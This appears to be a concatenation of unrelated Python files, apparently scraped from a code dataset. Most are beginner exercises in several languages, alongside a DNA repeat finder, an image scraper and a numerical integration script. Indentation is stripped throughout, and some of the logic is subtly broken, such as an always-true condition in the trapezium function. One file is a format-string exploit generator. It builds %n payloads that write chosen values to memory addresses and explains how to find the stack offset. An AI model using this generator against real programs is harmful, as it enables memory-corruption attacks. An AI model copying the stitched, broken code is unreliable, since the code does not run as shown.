print(sklepzoo[0][2], " - ", sklepzoo[1][2], "PLN")
print(sklepzoo[0][3], " - ", sklepzoo[1][3], "PLN")
mieszana = ["Tytus", "Ola", 220, 14.88, True, "Kraków"]
print(mieszana[4])
#mieszana.sort() #niedozwolone dla różnych typów danych
miasto = ["Kraków", "Lublin", "Wrocław"]
stolica = ["Warszawa", "Londyn", "Wiedeń"]
miasto = miasto + stolica
print(miasto)
miasto = miasto + ["Koszalin", "Tychy"]
print(miasto)
#miasto = miasto + "Ryn"
#print(miasto)
litery = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']
print("przed zmianą ", litery)
litery[2:7] = [99, 22, 11]
print("po zmianie", litery)
blitery = litery
print("przed zmianą 1", litery)
print("przed zmianą 2", blitery)
clitery = list(litery)
litery[:] = [101, 102, 103]
#assert litery is blitery
print("po zmianie 1", litery)
print("po zmianie 2", blitery)
print("po zmianie 3", clitery)
x = ["czerwony", "zielony", "niebiski", "czarny", "biały", "granatowy"]
odds = x[::2] # skok o 2 elementy
evens = x[1::2]
cotrzeci = x[::3] # skok o 3 elementy
print(x)
print(odds)
print(evens)
print(cotrzeci)
|
def lookAndSay(number):
result = ""
lastDigit = number[0]
digitCount = 1
for index in range(1, len(number)):
digit = number[index]
if digit == lastDigit:
digitCount += 1
else:
result += str(digitCount)
digitCount = 1
result += lastDigit
lastDigit = digit
result += str(digitCount)
result += lastDigit
return result
assert lookAndSay('11') == '21'
assert lookAndSay('11') == '21'
assert lookAndSay('21') == '1211'
assert lookAndSay('1211') == '111221'
assert lookAndSay('111221') == '312211'
start = '3113322113'
for _ in range(50):
start = lookAndSay(start)
print(_, len(start))
print('result part 1:', len(start))
|
#challenge one
print("First challenge")
print("Python is fun")
print("Everyday I learn and grow in different ways.")
#challenge two
print("Second challenge")
n = 11
if n < 10:
print("variable is less than 10")
else:
print("variable is greater than or equal to 10")
#challenge 3
print("Third challenge")
n = 26
if n <= 10:
print("variable is less than or equal to 10")
elif n > 10 and n <= 25 :
print("variable is greater than 10 and less than or equal to 25")
else:
print("variable is greater than 25")
#challenge 4
print("Fourth challenge")
a = 22
b = 2
print("The remainder of two constants is: ")
print(a%b)
#challenge 5
print("Fifth challenge")
a = 22
b = 2
print("The quotient of two constants is: ")
print(a//b)
#challenge 6
age = 11
if age < 18:
print("look at the little baby!")
elif age < 21:
print("Okay, you are now a young adult.")
else:
print("""You have made it to what people call the glory age,
don't drink too much!""")
|
n = input("임의의 정수(1~9) 입력:")
for i in range(n):
for j in range(n):
if i >= j:
print("j", end = "")
else:
print("*", end = "")
print("")
|
# -*- coding: utf-8 -*-
"""Module containing functions that find repeat sequences using regular
expressions.
by Cristian Escobar
cristian.escobar.b@gmail.com
Last update 3/10/2022
"""
import time
import re
def open_sequence(file_name):
"""Open Nucleotide sequence file.
Method that opens genomic files as either simple sequence or with multiple
fasta sequences. It will return a dictionary with each fasta sequence
in the file.
Parameters
----------
file_name : String
Sequence file name.
Returns
-------
data : Dict
Dictionary containing each sequence in the genomic file..
"""
print('Opening file...')
# open file
seq_file = open(file_name, 'r')
sequence = seq_file.read()
seq_file.close()
# Dictionary containing each sequence
data = {}
if sequence[0] == '>':
# divide the file by fasta header
sequences = sequence.split('>')
for seq in sequences:
if seq != '':
enter_index = seq.find('\n')
first_line = seq[:enter_index]
# get accesion code
accesion = first_line.split()[0]
# get nucleotide sequence after first \n
fasta_seq = seq[enter_index:].replace('\n', '')
fasta_seq = fasta_seq.upper()
data[accesion] = fasta_seq
else:
sequence = sequence.replace('\n', '')
sequence.upper()
data[file_name] = sequence
print('Sequence file opened')
return data
def find_repeats(sequence, pattern):
"""Find repeat pattern in sequence.
Function that finds repeats sequences using regular expressions and
and the input pattern.
Parameters
----------
sequence : String
DNA sequence string.
pattern : String
String used to search the sequence.
Returns
-------
repeat_list : List
List containing matches for the pattern sequence, each match
corresponds to a tuple containing the sequence start, end and
number of repeats.
"""
# List containing repeats
repeat_list = []
# Find repeats ussing regular expressions and pattern
hit_list = re.finditer(pattern, sequence)
for repeat in hit_list:
rep_start, rep_end = repeat.span()
rep_num = (rep_end - rep_start)/2
repeat_list.append((rep_start+1, rep_end, rep_num))
return repeat_list
def print_repeats(sequence, repeat_list, filename):
"""Print repeats found to a file.
Parameters
----------
sequence : String
DNA sequence string.
repeat_list : List
List with repeat data.
filename : String
File name for output file.
Returns
-------
None.
"""
file = open(filename, 'w')
line = '{:<10} {:<10} {:<5}\n'.format('Start', 'End', 'n')
file.write(line)
for repeat in repeat_list:
rep_start, rep_end, rep_num = repeat
rep_seq = sequence[rep_start-1: rep_end]
line = '{:<10} {:<10} {:<5} {}\n'.format(rep_start, rep_end, rep_num,
rep_seq)
file.write(line)
file.close()
def get_histogram(*args):
"""Count repeats by length.
Parameters
----------
*args : List
List containing repeat lists.
Returns
-------
hist_dict : Dictionary
Dictionary containing number of repeats with certain length.
"""
hist_dict = {}
for repeat_list in args:
for repeat in repeat_list:
rep_num = repeat[2]
if rep_num not in hist_dict:
hist_dict[rep_num] = 1
else:
hist_dict[rep_num] += 1
return hist_dict
def print_totals(hist_dict, filename):
"""
Parameters
----------
hist_dict : Dictionary
Histogram dictionary containing number of repeats with certain length.
filename : String
Output file name.
Returns
-------
total : Int
Total number of repeats found.
"""
keys = list(hist_dict.keys()) # list of repeat lengths
keys.sort()
file = open(filename, 'w')
file.write('rep_num total\n')
total = 0 # count repeats
for rep_num in keys:
repeats = hist_dict[rep_num]
line = '{:7} {}\n'.format(rep_num, repeats)
file.write(line)
total += repeats
# print total number of repeats
file.write('\nTotal: {}'.format(total))
file.close()
return total
def genomic_sequence_analysis(seq_file_list, pattern_dict, out_filename,
count_only=False):
"""Analize genome sequence for repeats.
Parameters
----------
seq_file_list : List
List of file names corresponding to sequence files.
pattern_dict : Dictionary
Dictionary containing search patterns for search.
out_filename : String
File name for histogram analysis and totals.
count_only : Bool, optional
If true, the method won't print output_file containing repeats found.
If False, the file won't be printed. This is useful to when the total
number of repeats is needed. The default is False.
Returns
-------
total : Int
Total number of repeats.
"""
# Dictionary containing sequence data
data_dict = {}
# List containing repeat list from all files
repeat_results = []
# Open files and collect sequences to data_dict
for file_name in seq_file_list:
time1 = time.time()
data = open_sequence(file_name)
data_dict.update(data)
time2 = time.time()
print(file_name, 'file opened in: ', round(time2-time1, 2), 's')
# Analysis of sequences to search for repeats
for data in data_dict:
sequence = data_dict[data]
# Analyze each sequece with each pattern
for key in pattern_dict.keys():
repeat_list = find_repeats(sequence, pattern_dict[key])
repeat_results.append(repeat_list)
if not count_only: # print only if count_only is False
repeats_file = 'Repeats_{}_{}.txt'.format(data, key)
print(repeats_file)
print_repeats(sequence, repeat_list, repeats_file)
time2 = time.time()
print('\nAnalysis in: ', round((time2-time1), 4), 's\n')
# Calcualte number of repeats at all possible length found
histogram = get_histogram(*repeat_results)
total = print_totals(histogram, out_filename)
return total
# Run main program
if __name__ == '__main__':
# Sequence patterns used by regular expressions
GT_pattern = 'G(TG){11,}T?' # For GT 11.5 and larger
AC_pattern = 'A?(CA){11,}C' # For AC 11.5 and larger
# Mapping of strand type to sequence pattern
pattern_dict = {'+': GT_pattern, '-': AC_pattern}
# List of sequence files to analyze
chromosomes_list = ['Homo_sapiens.GRCh38.dna.chromosome.Y.fa']
total = genomic_sequence_analysis(chromosomes_list, pattern_dict,
'Histogram_totals.txt',
count_only=False)
|
""" Найти сумму n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...
Количество элементов (n) вводится с клавиатуры.
https://drive.google.com/file/d/10Q1r4ooc2-w_mgZgrBY4zqUlYibBHdQI/view?usp=sharing
"""
numbers_count = int(input('Введите кол-во чисел в последовательности 1 -0.5 0.25 -0.125 ...: '))
number = 1
numbers_sum = 0
for el in range(numbers_count):
numbers_sum = numbers_sum + number
number = number / -2
print('Сумма чисел последовательности: ', numbers_sum)
|
# Вводятся три разных числа. Найти, какое из них является средним (больше одного, но меньше другого)
a = float(input(f'Введите число a: '))
b = float(input(f'Введите число b: '))
c = float(input(f'Введите число c: '))
if b < a < c or c < a < b:
print('Среднее:', a)
elif a < b < c or c < b < a:
print('Среднее:', b)
else:
print('Среднее:', c)
|
""" Сформировать из введенного числа обратное по порядку входящих в него цифр и вывести на экран.
Например, если введено число 3486, то надо вывести число 6843.
https://drive.google.com/file/d/10Q1r4ooc2-w_mgZgrBY4zqUlYibBHdQI/view?usp=sharing
"""
user_number = input('Введите целое положительно число: ')
number_len = int(len(user_number))
divider = 10
new_number = ''
for el in range(number_len):
temp_number = str(int(user_number) % divider)
new_number = new_number + temp_number
user_number = str(int(user_number) // divider)
print('Обратное порядку входящих цифр число:', int(new_number))
|
#!/usr/bin/env python
graph = {}
numberOfNodes = input()
for i in xrange(numberOfNodes):
v = raw_input()
edges = list(raw_input().split())
weights = map(int, list(raw_input().split()))
graph[v] = dict(zip(edges, weights))
nodes = graph.keys()
distances = graph
unvisited = {node: None for node in nodes}
visited = {}
current = 'a'
currentDistance = 0
unvisited[current] = currentDistance
while True:
for neighbour, distance in distances[current].items():
if neighbour not in unvisited: continue
newDistance = currentDistance + distance
if unvisited[neighbour] is None or unvisited[neighbour] > newDistance:
unvisited[neighbour] = newDistance
visited[current] = currentDistance
del unvisited[current]
if not unvisited: break
candidates = [node for node in unvisited.items() if node[1]]
current, currentDistance = sorted(candidates, key = lambda x: x[1])[0]
print(visited)
|
"""
ways to get objects.
By ID driver.find_element_by_id
By Class Name driver.find_element_by_class_name
By Tag Name driver.find_element_by_tag_name
By Name driver.find_element_by_name
By Link Text driver.find_element_by_link_text
By Partial Link Text driver.find_element_by_partial_link_text
By CSS driver.find_element_by_css_selector
By XPath driver.find_element_by_xpath
"""
import time
from selenium import webdriver
# import pandas as pd
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# urllib will save and download our links we extract.
import urllib.request as req
# create file stuff
import os
# get incognito mode
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--incognito")
chrome_options.add_experimental_option("detach", True)
# house keeping stuff
url = 'https://www.imgur.com'
search_term = 'pepe'
file_dir = 'D:/Pictures/' + search_term
# create directory if not already there.
if not os.path.exists(file_dir):
os.makedirs(file_dir)
""" you can paste path of webdriver here """
# driver = webdriver.Chrome(<LOCATION OF WEBDRIVER>) # Optional argument, if not specified will search path.
driver = webdriver.Chrome(chrome_options=chrome_options) # enables incognito
driver.set_window_size(1080,640)
wait = WebDriverWait(driver,20)
driver.get(url); # this grabs your url link!
# driver.execute_script("window.scrollTo(0, 200)")
search = driver.find_element_by_class_name('Searchbar-textInput')
# search = driver.find_elements_by_class_name('Searchbar-textInput')
# search = wait.until(EC.element_to_be_clickable((By.CLASS_NAME,"Searchbar-textInput"))).click()
search.click()
search.send_keys(search_term)
search.submit()
# scroll down to load new results
scroll_page_num = 5
# Get scroll height
last_height = driver.execute_script("return document.body.scrollHeight")
for i in range(scroll_page_num):
# scroll action
driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
# wait
time.sleep(3)
# Calculate new scroll height and compare with last scroll height
new_height = driver.execute_script("return document.body.scrollHeight")
if new_height == last_height:
break
last_height = new_height
time.sleep(3)
# parse images
img_arr = []
images = driver.find_elements_by_tag_name('img')
for image in images:
img = image.get_attribute('src')
img_arr.append(img)
print(img)
# save images
for i in range(len(img_arr)):
# urllib.urlretrieve(img_arr[i], (i + '_' + pepe + '.png'))
print('saving:', i + 1)
req.urlretrieve(img_arr[i], (file_dir + '/' + str(i) + '.png'))
# filename = '../' + str(i) + '_' + search_term + '.png'
# with req.urlopen(img_arr[i]) as img, open(fname, 'wb') as opfile:
# data = img.read()
# opfile.write(data)
driver.close()
# first_box = driver.find_elements_by_id('thumbnail') |
import numpy as np
from PIL import Image
import os
import sys
def convert_rgb_to_grayScale(image, image_shape):
new_image = np.zeros((image_shape[0], image_shape[1]))
for i in range(0, image_shape[0]):
for j in range(0, image_shape[1]):
new_image[i][j] = np.average(image[i][j])
return new_image
# We know that 0 is black and 255 is white.
# According to this, we understand that the text is the pixels with small values,
# and the background is the pixels with large values.
# So, every value that is lower than my threshold i will set it to 0 (black).
def thresholding(image, threshold):
new_image = np.copy(image)
image_shape = new_image.shape
for i in range(0, image_shape[0]):
for j in range(0, image_shape[1]):
if(new_image[i, j] < threshold):
new_image[i, j] = 0
else:
new_image[i, j] = 255
return new_image
currentDirectory = os.getcwd() # Save the current working directory.
input_filename = sys.argv[1] # Take the input filename.
output_filename = sys.argv[2] # Take the output filename.
threshold = int(sys.argv[3]) # Take the threshold.
image = np.array(Image.open(currentDirectory + "/" + input_filename)) # Opens the image from my hard drive.
image_shape = image.shape # The shape of the image.
# Check if image is rgb.
#If it is, then convert it to grayscale according to the rule "mean value of RED, GREEN, BLUE canals".
if(len(image_shape) == 3):
image = convert_rgb_to_grayScale(image, image_shape)
print("Before thresholding")
print("The array is the following: ")
print(image)
new_image = np.zeros((image.shape[0], image.shape[1])) # Initialize an array.
print("\nAfter thresholding")
print("The array is the following: ")
new_image = thresholding(image, threshold)
print(new_image)
Image.fromarray(np.uint8(new_image)).save(currentDirectory + "/" + output_filename) # Save the image to the current working directory. |
import types
import numpy as np
import math
"""
Trapezius Rule (an approximation of an integral)
@param f: lambda function, f(i) returns a float value.
@param a: interval initial x value, float.
@param b: interval final x value, float.
@param h: interval step, float.
@return : float (area).
"""
def trapezius(f, a, b, h):
# print("a: " + str(a) + ", b: " + str(b) + ", h: " + str(h))
if f is None or a is None or b is None or h is None:
raise ValueError("f, a, b or h is None")
if type(f) is not types.LambdaType:
raise TypeError("f is not a lambda function")
result = 0
for i in np.arange(a, b, h):
if i is a or b:
value = f(i)
# print("value is: " + str(value))
result += value
else:
value = f(i)
# print("value is: " + str(value))
result += 2 * value
# print("last: " + str(float((b-a) / 2)))
result *= ((b - a) / 2)
return result
def trapezius_error(f, f_second_der, a, b, h):
first = ((b - a) / 12) * (h ** 2) * f_second_der(a)
second = ((b - a) / 12) * (h ** 2) * f_second_der(b)
if first > second:
return first
else:
return second
if __name__ == "__main__":
f = lambda x: math.sin(x) / x
a = 2
b = 3
h = 0.1
print(trapezius(f, a, b, h)) |
'''
Determine whether an integer is a palindrome.
An integer is a palindrome when it reads the same backward as forward.
'''
def isPalindrome(number):
if str(number) == str(number)[::-1]:
return True
else:
return False
print(isPalindrome(-111)) |
import Procedure
import Syntax
from Types import dot, symbol
from fractions import Fraction as rational
def Schemify(exp):
'''Convert an expression to Scheme syntax for display purposes.'''
# Nothing to represent
if exp == None:
return ''
# Procedures
elif isinstance(exp, Procedure.Procedure):
if exp.Name:
return '#<procedure %s>' % exp.Name
else:
return '#<procedure>'
# Syntax
elif isinstance(exp, Syntax.Syntax):
if exp.Name:
return '#<syntax %s>' % exp.Name
else:
return '#<syntax>'
# Symbols
elif isinstance(exp, symbol):
return str(exp)
# Literals
# NOTE: bool has to be before int because bools are ints in Python :-\
elif isinstance(exp, bool):
if exp:
return '#t'
else:
return '#f'
elif isinstance(exp, int) or isinstance(exp, long):
return '%d' % exp
elif isinstance(exp, rational):
if exp.denominator == 1:
return '%d' % exp.numerator
else:
return '%d/%d' % (exp.numerator, exp.denominator)
elif isinstance(exp, float):
return '%f' % exp
elif isinstance(exp, complex):
return str(exp)[1:-2] + 'i'
elif isinstance(exp, str):
return '"%s"' % exp
# Lists
elif isinstance(exp, dot):
return '.'
elif isinstance(exp, list):
if len(exp) == 0:
return ''
elif exp[0] == 'quote':
return '\'' + Schemify(exp[1])
elif exp[0] == 'quasiquote':
return '`' + Schemify(exp[1])
else:
return '(' + ' '.join([Schemify(subexp) for subexp in exp]) + ')'
# Unknown types
else:
raise SchempyException('Unabled to convert to Scheme format: %s', exp) |
#empty list
list1 = []
#list of intergers
list2 = [2, 50, 94, 48]
#list with mixed datatypes
list3 = ["Danny", 24, "Murder", 54]
#nested lists
list4 = [10000, ["hacks", 101, "brute", 504],"Flames",[707]]
#accessing a list eg, list3 murder segment
print(list3[2])
#accessing a whole list by slicing operator :
print(list4[:])
#changing a content in a list
list3[0] = 60000
print(list3[0])
#adding to a list
list1.append("Gangstar")
print(list1[:])
#adding multiple items
list2.extend(["Elias", "Samaritan"])
print(list2[:])
#using insert function
list1.insert(1, 600) #inserts 600 in 1st post
print(list1[:])
Neon = ["Gregory", "NIKITA", "Django"]
print(Neon + [5,25,92])
#applicatoon of the + operator
del Neon[0] #deletes an item from a list
print (Neon)
#pop and remove modulws also work the same way except that you orovide the exact position.
#eg Neon.remove(2) to remove secomd item same.as
#pop with Neon.pop(1)
greyhound = list4.copy()
#copying a list...
print (greyhound)
|
def ChkNum():
num1 = input("Enter number : ")
print(num1)
# Check Condition
if int(num1) % 2 == 0:
print("Even Number")
else:
print("Odd Number")
ChkNum()
|
# Script creates a Hashmap object
class Hash:
# The maximum elements, m, in the Hashmap is defined when the class is instantiated
def __init__(self, m):
self.array = [0]*m
self.size = 0
self.max = m
# ___Hash Functions___
# The modulos ensure that the numbers don't exceed a certain range
# The first hash function bitwise or's every letter in the given string and squares it
def convertA(self, string, conv=0):
for s in string:
conv = (conv ^ (ord(s)-97))**2 % 1000000
return conv
# The second hash function bitwise or's the square of every letter in the given string
def convertB(self, string, conv=0):
for s in string:
conv = (conv ^ ord(s)**2) % 1000000
return conv
# hash_function will produce the hash for the given string using double hashing
def hash_function(self, user_name, i):
A = (self.convertA(user_name) + i*self.convertB(user_name)) % self.max
# 0 is treated as a empty position, therefore the hash function should not return 0
if (A == 0):
return 1
return A
# ___Hashmap Methods___
# Generates a unique hash for a string
def generate(self, user_name):
if (self.size < self.max):
for i in range(self.max):
A = self.hash_function(user_name, i)
if (self.array [A] == 0 or self.array [A] == -1):
self.array [A] = user_name
self.size += 1
return A
elif (self.array [A] == user_name):
print("ERROR: Duplicate user input")
return -1
print("ERROR: Hash full")
return -1
# Deletes the hash for a string
def delete(self, user_name):
if (self.size > 0):
for i in range(self.max):
A = self.hash_function(user_name, i)
if (self.array [A] == 0 or self.array [A] == -1):
print("ERROR: user not found")
return -1
elif (self.array [A] == user_name):
self.array [A] = -1
self.size -= 1
return 0
print("ERROR: Hash empty")
return -1
# Searches for the hash of a string
def search(self, user_name):
for i in range(self.max):
A = self.hash_function(user_name, i)
if (self.array [A] == 0):
print("ERROR: user not found")
return -1
elif (self.array [A] == user_name):
break
if (i < self.max):
return A
print("ERROR: user not found")
return -1
# Prints the entire Hashmap
def print_hash(self):
print(self.array)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = "Yan Somethingrussian <yans@yancomm.net>"
__version__ = "0.1.0"
__description__ = "An automatic format string generation library."
""" Finding the character offset:
1. Run the program
2. Provide the format string, e.g., "FORMATSTRING%n%n%n%n" as input
3. Continue/Run it (and hope that it crashes, or try again)
4. Add a breakpoint to the function it crashes on (after the function prologue)
5. Find the character offset (the pointer to the format string is on the stack,
close ot $esp; just calculate the difference)
"""
import operator
import struct
import sys
def chunk(writes, word_size=4, chunk_size=1):
""" Splits a bunch of writes into different chunks
Note: I *think* it's little-endian specific
Parameters:
writes: a list of (target, value) locations (of size word_size) to overwrite
word_size: the word size (in bytes) of the architecture (default: 4)
chunk_size: the size (in bytes) of the desired write chunks (default: 1)
"""
byte_writes = []
offsets = range(8 * word_size, -1, -8 * chunk_size)[1:]
mask_piece = int("FF" * chunk_size, 16)
for target, value in writes:
for offset in offsets:
# Masking and shifting; int is necessary to prevent longs
mask = mask_piece << offset
masked = int((value & mask) >> offset)
byte_writes.append((target + offset/8, masked, chunk_size))
return sorted(byte_writes, key=operator.itemgetter(1))
def pad(byte_offset, word_size=4):
""" Pads the format string
Parameters:
byte_offset: the number of bytes to padd the string
word_size: the word size (in bytes) of the architecture (default: 4)
"""
word_offset = byte_offset / word_size
format_string = "A" * (-byte_offset % word_size)
# The format_string was padded
if format_string:
word_offset += 1
return format_string, word_offset
def format_string(writes, byte_offset, string_size, current_length, debug=False):
""" Builds the whole format string
Parameters:
writes: a list of (target, value, size_in_bytes) tuples to overwrite
byte_offset: the offset in bytes on the stack to the format string
string_size: the size of the format string to generate
current_length: the length of the format string prefix (if there is one)
debug: Debug mode (default: False)
"""
format_start, word_offset = pad(byte_offset)
format_start += "".join(struct.pack("=I", t) for t, _, _ in writes)
format_end = ""
current_length += len(format_start)
modifiers = { 1: "hh", 2: "h", 4: "", 8: "ll" }
for _, v, s in writes:
next_length = (v - current_length) % (256 ** s)
# For 4 and less characters, printing directly is more efficient
# For 5 to 8, the general method can't be used
# Otherwise, use general method
if next_length < 5:
format_end += "A" * next_length
elif next_length < 8:
format_end += "%{:d}hhx".format(next_length)
else:
format_end += "%{:d}x".format(next_length)
current_length += next_length
# TODO: Remove this ugly debug shit
if not debug:
format_end += "%{:d}${:s}n".format(word_offset, modifiers[s])
else:
format_end += "\n%{:d}$08x\n".format(word_offset)
word_offset += 1
# Pad and return the built format string
format_string = format_start + format_end
return format_string + "B" * (string_size - len(format_string))
def format_string_fuckyeah(writes, byte_offset, string_size, printed_count, debug=False):
print 'FuckYeah mode: ON'
return format_string(writes, byte_offset, string_size, printed_count, debug)
def main():
writes = ((0x45397010, 0x01020304),\
(0x45397014, 0x11121314))
chunks = chunk(writes, 4, 2)[0:1] + chunk(writes, 4, 1)[2:]
print format_string(chunks, int(sys.argv[1]), 1024, 0, debug=("t" == sys.argv[2]))
def usage():
print >> sys.stderr, "ze seclab's über format string !"
print >> sys.stderr, " Usage: {} <offset> <t|f>".format(sys.argv[0])
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 3:
usage()
main()
|
playlist = {"title": "Patagonia Bus",
"author": "Marius Toader",
"songs": [
{"title": "song1", "artist": ["blue"], "duration": 2.35},
{"title": "song2", "artist": ["kitty", "dj kat"], "duration": 2.55},
{"title": "miau", "artist": ["garfield"], "duration": 2.00}
]
}
total_length = 0
for song in playlist["songs"]:
total_length += song["duration"]
print(total_length) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.